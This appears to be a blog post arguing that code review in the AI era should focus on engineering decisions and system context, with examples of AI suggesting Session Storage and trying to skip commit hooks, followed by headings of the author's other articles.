The real challenge starts when the amount of change grows faster than our understanding of that change.

A PR can:

Pass all tests
Look clean
Follow coding conventions

But still leave important questions unanswered:

Do we really understand what parts of the system are affected?
Did we give AI enough context to make the right decision?
Are we introducing hidden side effects?

I think one of the biggest mindset shifts in the AI era is that our goal should not simply be producing more code.

The goal should be improving our ability to:

Define the problem clearly
Provide the right context
Control the scope of changes
Build faster feedback loops

AI optimizes for completing tasks, not always for making the best engineering decision

One interesting behavior I have noticed while working with AI coding assistants is that they often try to find the easiest path to complete a task.

For example, in our projects, we use tools like Husky and lint-staged as part of our development workflow.

They help us catch issues before commits:

Type errors
Lint problems
Formatting issues
Broken checks

This creates a faster feedback loop and keeps our history cleaner.

However, sometimes AI agents try to bypass these steps to complete the task faster, for example by suggesting ways to skip hooks.

This taught me an important lesson:

We should not only tell AI what to build. We also need to define how it should operate.

Just like onboarding a new engineer requires:

Project context
Technical constraints
Engineering guidelines

AI agents also need:

Clear boundaries
Guardrails
Defined workflows

Managing AI behavior will become part of engineering work.

Clean code does not always mean the right solution

One of the most interesting and dangerous things about AI-generated code is that it often looks very trustworthy.

The code is clean.

The naming is good.

The structure makes sense.

But there is a fundamental limitation:

AI makes decisions based on the context we provide.

Here is a real example.

In one of our tasks, we needed to keep some data inside the codebase instead of a URL, while also making sure the data would survive page refreshes.

AI suggested using Session Storage, and from an implementation perspective, it worked perfectly.

The problem was that AI did not know our system context.

At Snappfood, we work with thousands of vendors.

If we stored data for every vendor in Session Storage, this decision could create performance issues at scale or introduce bugs that would be extremely difficult to reproduce and debug.

The problem was not that AI wrote bad code.

Actually, the implementation was reasonable.

The problem was that AI saw the problem within the boundaries of the code, not within the boundaries of the system.

And this is exactly where engineering judgment becomes valuable.

Engineers need to:

Understand system scale
Predict the impact of decisions
Think about edge cases
Ask questions that AI may not consider

Code Review is becoming Engineering Decision Review

Historically, a large part of Code Review was focused on questions like:

Is the code clean?
Are best practices followed?
Are coding conventions respected?

Many of these checks can now be automated.

The things that still require human thinking are different:

Did we understand the problem correctly?
Is this the right solution for our architecture?
What trade-offs are we making?
What side effects can this introduce?
How will this behave as the system grows?

I believe the future of Code Review is not about reviewing less.

It is about reviewing differently.

Moving from:

"Is this code written well?"

towards:

"Is this the right engineering decision?"

AI should accelerate learning, not replace it

One of the most valuable parts of Code Review has always been learning.

When engineers discuss implementation choices, alternatives, and trade-offs, the whole team becomes better.

With AI generating more code, we need to be careful not to lose that learning process.

Instead of only asking AI to complete tasks, we should use it to improve our thinking:

Why did you choose this approach?
What alternatives exist?
What are the trade-offs?
What changes if the system grows 10x?

AI should make us better engineers, not just faster code producers.

I don't think Code Review will become less important in the AI era.

I actually think it will become even more important.

But the focus needs to change.

When producing code becomes faster and cheaper, the real value of engineers will be their ability to understand context, see the bigger picture, and make better decisions.

I would love to hear your experience:

How has AI changed your team's coding and Code Review process?

What has improved, and what challenges are you still facing?

DEV Community: Shayan Mirzaie

The API Returns HTML. What Could Go Wrong?

The API boundary is not a trust boundary

Allowing only a few tags is not enough

Option 1: Keep HTML, but sanitize it correctly

Option 2: Store content as structured data

Links need their own security policy

We enforce the contract in three places

1. The editor limits what authors can create

2. The backend treats the editor as untrusted

3. The frontend remains restrictive

What this solved beyond XSS

The trade-off is less freedom

Tools and when I would use them

The tests should describe the threat model

Game Theory: When the Right Decision Doesn't Depend Only on You

So, What Is Game Theory Really About?

The Prisoner's Dilemma

But What If the Game Doesn't Happen Only Once?

Axelrod's Tournament

Tit for Tat

Why Is Tit for Tat So Interesting?

It starts with cooperation

But it isn't naive

It doesn't hold a grudge

And it's predictable

So... Did We Just Discover the Secret to Life?

What Does Any of This Have to Do With Our Everyday Work?

Local Optimum Doesn't Necessarily Mean Global Optimum

"That's Not Our Team's Problem"

We Almost Never Play Only Once

Reputation Becomes Part of the Game

And That Brought Me Back to A House of Dynamite

Maybe We're Asking the Wrong Question

What Kind of Game Does This Decision Create?

"What kind of game does this decision create between me and everyone else?"

Browser Storage Doesn't Scale with Your Team. So I Built namespaced-storage

The problem starts with one global namespace

Give every feature an owner

Make keys and values type-safe

A library without enforcement becomes optional

Can we answer what the application stores?

A practical adoption path

What this library is not

Try it

Stateful vs. Stateless Frontends: Designing a Food Delivery App One State at a Time

First, what do stateful and stateless actually mean?

What does this mean on the backend?

A frontend cannot be completely stateless

The application we are going to build

1. Keep visual components stateless

2. Keep the API client stateless

3. Treat fetched data as server state

4. Do not store derived state

5. Put workflow state in a feature controller

6. Model restaurant switching as a state machine

7. Search and filters belong in the URL

8. Keep form state inside the form boundary

9. Use global client state for genuinely shared client concerns

A practical state placement guide

The complete ownership map

What do we gain from this architecture?

1. Smaller test surfaces

2. Fewer synchronization bugs

3. Clearer feature ownership

4. Better reusability

5. More predictable scaling

What does it cost?

1. More boundaries and files

2. Ownership requires team discipline

3. Optimistic updates are difficult

4. Server state is eventually inconsistent

5. There is still stateful code

This architecture is not perfect

A checklist I would use in design review

Final thought

Further reading

What Comes After Senior? When the Career Path Is No Longer Linear

Senior Isn't the End of the Road — But It Might Be the End of the Linear Road

From Here, You Have to Start Designing Your Own Career